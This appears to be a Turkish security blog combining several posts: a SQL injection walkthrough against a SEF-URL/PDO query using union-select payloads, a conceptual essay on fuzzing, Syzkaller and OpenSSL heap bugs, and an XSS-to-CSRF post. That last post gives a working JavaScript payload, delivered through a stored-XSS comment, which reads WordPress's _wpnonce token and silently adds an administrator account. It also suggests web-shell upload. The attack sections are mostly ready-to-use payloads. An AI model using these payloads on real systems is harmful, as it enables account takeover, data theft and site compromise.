Sef Url - PDO Injection

Merhaba arkadaşlar bu yazımda pdo ve sef url injectionu anlatacağım. Videolarda genelde html injection olarak anlatılıyor aslında yanlış bir tanım olur sef url için. Site içinde seo url ve db bağlantısı olarak pdo kullanılmaktadır.

Şimdi urlnin sonuna bir tırnak atalım ve sorgumuzu inceleyelim.

Sorgumuz aşağıdaki gibidir. Dışardan get olarak gelen "s" htaccess ile seo url ye dönüştürüp ekrana basıyor.



$s=$_GET["s"];
$urn = $db->prepare("SELECT * FROM referanslar where ref_seo='$s'");

Tırnak attık http://localhost/sefurl/ref/a-firmasi'
SELECT * FROM referanslar where ref_seo='' ve gönderdiğimiz tırnak sorguyu bozdu ve ekrana beyaz sayfa verdi.

Tırnaktan sonra sql sorgumuzu durdurma operatörlerini kullanarak sorgumuzun true dönmesini sağlıyoruz.

http://localhost/sefurl/ref/a-firmasi'-- -

SELECT * FROM referanslar where ref_seo='a-firmasi'-- -' 

sorgu true döndü ve içerikler ekrana basıldı

http://localhost/sefurl/ref/a-firmasi' order by 6-- - yaptık beyaz sayfa aldık. Yani 6'dan daha küçük bir column sayısı var.

http://localhost/sefurl/ref/a-firmasi' order by 5-- - yaptık true döndü sorgumuz. ve ekrana tekrar veriler geldi.

Şimdi veritabanındaki verileri çekmeye başlayabiliriz. Union select ile 5'e kadar yazıyoruz.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,3,4,5-- - 

Ekrana sayılar geldi bunlar ne anlama gelir? Bunlar programcının kullandığı column numaraları yani örnek verecek olursak ekrana başlık ve içerik bilgileri yazdırılıyor phpmyadminden bakalım.

bizim union select sorgumuzda 3,4 sayıları ekrana vermişti programcının kullandığı columnların sayısı yani ref_baslik 3.sırada ref_icerik 4. sırada
lafı fazla uzatmadan veri çekmeye başlayalım.

Ekrana yansıyan sayıları union select sorgumuzdaki sayıların yerlerine database adını ve versionu yazdım.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,database(),version(),5-- -
yazdık ve çıktıya bakıyoruz.


SELECT * FROM referanslar where ref_seo='a-firmasi' union select 1,2,database(),version(),5-- -'

Not: Sitelere göre değişiklik gösterebilir .html ile bitebilir site/sefurl/ref/a-firmasi.html sorguyu durdurma operatörleri sadece -- - değil --+ ,#, and'1 şeklinde sorguları durdurabilirsiniz.

Başka yazılarda görüşmek üzere.

Modern Bir Zafiyetin Anatomisi Vol. I

 

Son zamanlarda fuzzing project altında piyasaya çıkan yardımcı yazılımların davranışsal hareketlerini kısaca açıklamak istiyorum ve fuzzing project adı altında gerçekleşen uygulamaların sınıflarından bahsetmekte de fayda görüyorum. Öncelikle  Fuzzing: Brute Force Vulnerability Discovery kitabından alıntıyla fuzzing tanımı ve sınıflarını anlamak açısından kısa bir tanım yapalım;
Hedef yazılım üzerinde, girişlere tanımı yapılan belirli karakterler ile birlikte yazılımsal sorunların tespitine biz fuzzing diyoruz lakin son zamanlarda fuzzing project adı altında piyasada bulunan güvenlik araçlarının daha çok mantıksal açıklarla tanışmasıyla birlikte eski method 'stack overflow' benzeri açıkların yerini 'out-of-bounds access, use after free, type confusion, race condition' gibi yüksek derecede öneme sahip açıklar almıştır. 'Smart' ve 'Dumb' dediğimiz iki method türemiştir. Bu yüzden yukarıda belirttiğimiz sınıflara göz atmakta fayda var.
Bu açıklar white,black ve gray box testing olmak üzere 3 sınıf içinde inceleniyor. 

 
White Box; Kaynak kodları elinde olmakla birlikte 'blind' method olmaksızın yapılan tespitlere verilen ad.
Black Box; Kullanıcı kontrollü kaynak kod olmaksızın ve sadece input üstünde 'blind' method dediğimiz sistemle yapılan tespitlere verilen ad. Buna örnek olarak 'sql injection' denemelerini gösterebiliriz kaynak kod olmaksızın belirlenen karakterle sadece dış odaklı aramalar bu sınıfın tam tanımıdır.

Gray Box; Yukarıda tanımı yapılan her iki test aşamalarının uygulanmasına ise gray box fuzz türü diyebiliriz.

Fuzzing Project adı altında piyasaya sunulan 'Binary' bazlı uygulamalar ile birlikte bir devrim olmuş ve zaman aralığı olarak 2 yılda keşfedilen zafiyet sayısına 1 ay gibi kısa bir sürede ulaşılmıştır. Bu yüzden fuzzing project iyi tanımak, iyi anlamak ve uygulamalar üstünde süreklilik göstermek gerekir.

Linux tabanlı sistemlerde zafiyetlerin nasıl tetikleneceği ve bu zafiyetlerin alt yapısını inceleyeceğiz. Bildiğiniz üzere işletim sistemlerinde eğer bir zafiyet arayacaksanız ve dahi o zafiyeti bulduysanız tetiklemek ve o açıktan faydalanmak için o sistemlerin yapısını iyi bilmeniz gerekmektedir. Son zamanlarda çıkan yardımcı araçlarla beraber sistemlerde zafiyet tespiti, zafiyetin detaylı olarak konsept hali ve zafiyetlerin türleri kolay şekilde belirlenebilmektedir. Bunlara örnek vermek gerekirse eğer; hepimizin bildiği AFL Fuzzing, Honggfuzz, OSS-Fuzz ve piyasanın kernel bazında en iyi projesi olan Syzkaller geliyor bunlar ve bunlara benzer daha bir çok fuzzing projesi mevcut olmakla birlikte bunların yanı sıra; kasan, ktsan, kmsan ve kubsan gibi açık türünün tespitine dair ek yazılımlar geliştirilmiştir. Belirtilen yazılımlarla yüzlerce açık tespit edilmiş ve bunlardan bazıları 'exploit' edilirken bazıları için ise hızlı bir yama prosedürü uygulanmıştır.

Peki bunlar ne gibi açık türleri ve tespitleri nasıl yapılmaktadır ?

Yukarıda şematik olarak gösterilen imaj aslında Linux Kernel fuzzing için kullanılan 'Syzkaller' aracının çalışma methodu. (Bu araç ile bulunan açıklara referanslar listesinden göz gezdirebilirsiniz.)
Syzkaller aslında fuzzing ve sanitizer dediğimiz iki methodun birleşimi ile performans göstermektedir. Sadece kaynak kodlar üzerinde değil, harici bellekler ile özgün çalışmalarda da başarılı bir performans sergileyin syzkaller bu alanda şimdiye kadar geliştirilmiş en başarılı araç olarak görünüyor. USB-Exploitation denildiğinde aklıma gelen ilk makale sanırım bu olacak, çünkü etkili bir fuzzing tekniği ve fiziksel araçların kullanımıyla başarılı bir sonuç elde edilmesi bu alan ile ilgilenen kişiler için yeni fikirler ve keşifler demek olacak. Yazılımları fuzz edebilmek kadar, fuzz edilen yazılımın exploit edilebilmeside aynı ölçüde önem taşımaktadır. Kod blogları arasında bulunan her zafiyetin exploit edilemediğini anlamamız ve idrak etmemiz gerekiyor. Syzkaller ile bulunan zafiyetlerin en iyi şekilde incelenerek pratik olarak anlaşılması gerekmektedir. Size hazır POC sağlamış olması sizin o açığı sömürebileceğiniz anlamına gelmez. Linux Kernel Exploitation için bir çok adım atmanız gerekmektedir, bu adımların başında günbegün eklenen güvenlik önlemlerini aşmanızın yanı sıra o mimariyi iyi ve etkili şekilde kullanmanızda gerekir.

Neden ? Çünkü bir mimarinin nasıl bir algoritmayla çalıştığını anlayamazsanız o mimari ile ilgili fikir yürütemezsiniz. Mesela BSD mimarisinde meydana gelen bir use-after-free açığını UMA mimarisi bilmeden exploit edebilmeniz fazla imkanlı görünmüyor, aynı durum Linux ve Windows mimarilerde geçerli. Bu yüzden öncelikle exploit edeceğiniz açığın türevini, bu açığın etkileşimde olduğu kod bloğunu ve o açık türevini sömürmek için gerekli olan argümanları toplamamız gerekir. Örneğin use-after-free yahut double-free yahut null-pointer açıklarından faydalanabilmek için öncelikle bu açıkların ne işe yaradığını ve zafiyetin nasıl oluştuğunu ve nasıl tetikleneceğini bilmemiz gerekiyor. Mesela; bir use-after-free açığından faydalanmak için yukarıda belirttiğimiz üzere SL(AUO)B memory management mantığını bilmemiz gerekecek. Bunun yanı sıra Heap Spray(Sendmsg Heap Spraying) yöntemini ve SMEP & SMAP gibi güvenlik önlemlerini aşmamız gerekecek tabi bunların ROP yahut JIT gibi yöntemlerle iltisaklı olduğunu unutmamak gerekiyor. Bu yüzden sizin yerinize POC yazacak bir yazılım değil pratik olarak sizin anlayıp uyguladığınız bir yazılıma dönüşmesi gerekmektedir. Sonuçta kodları siz okumuyorsunuz ya da kod bloglarını siz incelemiyorsunuz tek yaptığınız farklı config ayarları ile birlikte belirtilen yazılımı fuzz etmek. Bu konulardan mütevellit bir kaç örnek ile konuyu genişletmekte fayda var, bunlardan birisi Heartbleed zafiyeti. Bu açık son zamanlarda görülmüş en büyük zafiyetlerden birisi olması hasebiyle ve büyük bir etki göstermesiyle adını duyurdu, OpenSSL kütüphanesinde meydana gelen bu açık ile beraber yahoo, flickr ve tumblr gibi birbirine bağlı ünlü siteleri etkilemekle beraber hassas bilgilerinde açığa çıkmasını sağladı. Peki bu açık nasıl keşfedildi ve açık keşfedilirken nelerden faydalanıldı muhakkak merak etmişsinizdir o zaman beraber gözatmakta fayda var. Devami vol. II(Heartbleed açığını detaylı incelemek ve etkilenen siteleri görmek için referans kısmını kontrol edebilirsiniz.)

 

Yukarıda ki resimde gördüğünüz üzere "selftls" olan bir dosya üstünde fuzzing işlemi gerçekleştiriyoruz. Bu aslında; üretilen sertifikanın handshake dediğimiz yöntemle fuzz edilmesi demektir. Bu bahsettiğimiz üzere bir memory allocator hatasından kaynaklanmaktadır. Bu hatayı detaylı olarak anlamak istiyorsanız My heart is ok, but my eyes are bleeding yazısıyla tam manasıyla vakıf olabilirsiniz. Fuzzing başlattık.

Fuzing başladıktan 21 saat sonrası AFL bir hata ile karşılaştığını belirtti. İşte tam olarak otomasyon mantığıyla çalışan fuzzing yazılımlarının görevi bu oluyor, kodları satır satır okuyan arkadaşlar için bir doğrulama yöntemi olmasının yanında "blind fuzzing" içinde ideal bir araç olmuş oluyor. Bulduğumuz bu 3 açık aslında tam olarak openssl'in "memory allocator" yapısıyla alakalı yani ortaya çıkan açık "heap-based buffer overflow" açığı. Yani siz "ssl" kullanan bir yapıya istek yaptığınızda gönderdiğiniz istek eğer "memory" aşacak bir istekse haliyle hafızada hata üretiyor. Bu gibi hatalar "alloc" edilmiş bir hafızanın taşması sonrası meydana geliyor lakin yukarıda verdiğimiz linkte göreceğiniz üzere "openssl" firması kendi "allocator" yapısını oluşturmuş ve bu yapı baştan sona sağma bir biçimde yazılımla adapte edilmiş gibi duruyor(yeni versiyonlarda rastlayamazsınız).

 

 

 Zaman ilerledikçe yapı üstünde ki hatalar artmaya devam ediyor. Bu "openssl allocator" yapısının yazılıma olan etkisi. (Biz burada 512-bit bir fuzz işlemi yapmıştık eğer bunu büyütmek isterseniz özgürsünüz bununla eşdeğer şekilde hızınızın düşeceğinide unutmayınız.) Handshake sırasında meydana gelen hataların çeşitliliği gitgide artıyor, bu "allocator" için sabit bir yapıyla gelen isteklerin 512-bit RSA olması gerektiğini düşünerek bu kadar alana sahip sabit bir alan ayırmasından ve bu alanın fazlasını karşılayamayacak esnek olmayan bir yapıya sahip olmasından kaynaklanıyor.

İlk bölüm burada bitsin, önümüzde ki bölümde açığın detaylı incelenmesi ve exploit edilmesiyle ilgili bir yazı yazacağız.

 

Sefa Karakuş

 

Sitedeki Uygulamalar, Tool'lar ...

Sitedeki uygulama ve tool'ların bir kısmı içerik yayını yaptığım sunucuyu kapatmamdan dolayı, bir kısmı ise tool tarafından web isteklerinin gönderildiği sayfaların güncelliğini kaybetmesinden sonra askıya alınmıştır. Gerekli güncellemeler yapıldıktan sonra hepsi tekrar yayınlanacaktır.

Tools and applications published in this site are no more available because we have removed cdn server. Also some of them are not up to date because the web url's they were sending requests are no more available. We will publish them again and inform you when we have finished update process.

XSS to CSRF

Merhaba arkadaşlar bu yazımı wordpress üzerinde anlatacağım. Wordpress üzerindeki basit bir xss'i csrf ye dönüştürüp yeni bir yönetici eklemeyi göstereceğim.

CSRF - CROSS SITE REQUEST FORGERY
(Kullanıcının isteği dışında ve haberi olmadan dışarıdan müdahale)

Bildiğiniz gibi wordpress'in csrf saldırılarına önlem olarak kullanıcı için oluşturduğu bir token vardır ve bu token'in sayfadaki input id'si _wpnonce'tur.
Gelen isteklerde bu token üretilenle uyuşmazsa işlem gerçekleştirilmez.
Biz saldırıda wpnonce token'ını javascript ile alıp kendi post'umuzu yöneticinin haberi olmadan göndereceğiz.

Bu istek normal şartlar altında SOP önleminden dolayı yapamayacağımız bir istek ancak burada XSS açığımızdan faydalanacağız. Bu sayede SOP önlemini bypasslamış olacağız.
Bunun için XmlHttpRequest'i kullanacağız.
(XmlHttpRequest same-origin policy'dan dolayı  sadece aynı domaine istek gönderir.)

site = "http://localhost/wordpress";
kadi="batu";
sifre="diaryofinjector";
eposta="batu@diaryofinjector.com";
xhr = new XMLHttpRequest();
xhr.open("GET",site + "/wp-admin/user-new.php",true);
xhr.onreadystatechange=function() {
    if (xhr.readyState==4) {
            response=xhr.responseText;
            wtoken=response.split('hidden" id="_wpnonce')[1];
            wtoken=wtoken.split('"')[4];
            xhr.open("POST", site + "/wp-admin/user-new.php",true);
            xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
verigonder="action=createuser&_wpnonce_create-user=" + wtoken + "&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&user_login="+ kadi + "&first_name=&last_name=&email=" +
eposta + "&url=&pass1=" + sifre + "&pass1-text=" + sifre + "&pass2=" + sifre + "&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User"
   xhr.setRequestHeader("Content-Length",verigonder.length);
    xhr.send(verigonder);
    }
}
xhr.send(null); 

Kodumuz şu şekilde çalışıyor 
site, kadi, sifre, eposta şeklinde değerler tanımladık kod çalışmaya başladığı zaman şunlar gerçekleşir;

1-Wordpress yönetim paneline get gönderir
2-O anki yöneticinin _wpnonce(token değerini inputtan alır)
3-Ardından post işlemi yani yönetici ekleme işlemini başlatır.

Şimdi wordpress temasının yorum kısmındaki stored xss'imize bakalım 
<h1> deniyorum;

   
Sonuç Başarılı

Şimdi sıra geldi javascript kodumuzu src ile buraya çekmeye. 
Js yi çektikten sonra admin yorumu okur okumaz direk olarak panele batu adında yönetici oluşturacak.
<script src=//ip/ekle.js></script>

Gönderdik.

Yönetici yorumu okuduğu zaman direk batu adında bir admin ekleyecek.

Tabi yönetici eklemek sadece bir örnek. Daha ileri saldırılar düzenleyip doğrudan temayı da editleyebilirsiniz. Hatta plugin içerisinde web shell bile yükletebilirsiniz. JS ile doğrudan raw http istekleri yaptırabilirsiniz. Buna multipart-form-data da dahil.


XSS ile yapılabilecek saldırılarda Cookie çalmaktan sonraki bir üst seviye saldırılar bu şekilde yapılabilir. Aynı zamanda httpOnly cookie türlerinden dolayı Cookie çalınamayan durumlarda bu tarz saldırılar düzenlenebilir. Tabi erişim izniniz olmayan (ip filtreli vs.) sayfalarda da bu saldırı geçerli olacaktır.

Bir sonraki yazımızda XSS ile http proxy tunneling saldırısını anlatacağım.
Önceki XSS yazılarımıza ise aşağıdan ulaşabilirsiniz:
http://www.diaryofinjector.com/search/label/XSS
Sonraki yazımızda görüşmek üzere ;)
İyi Günler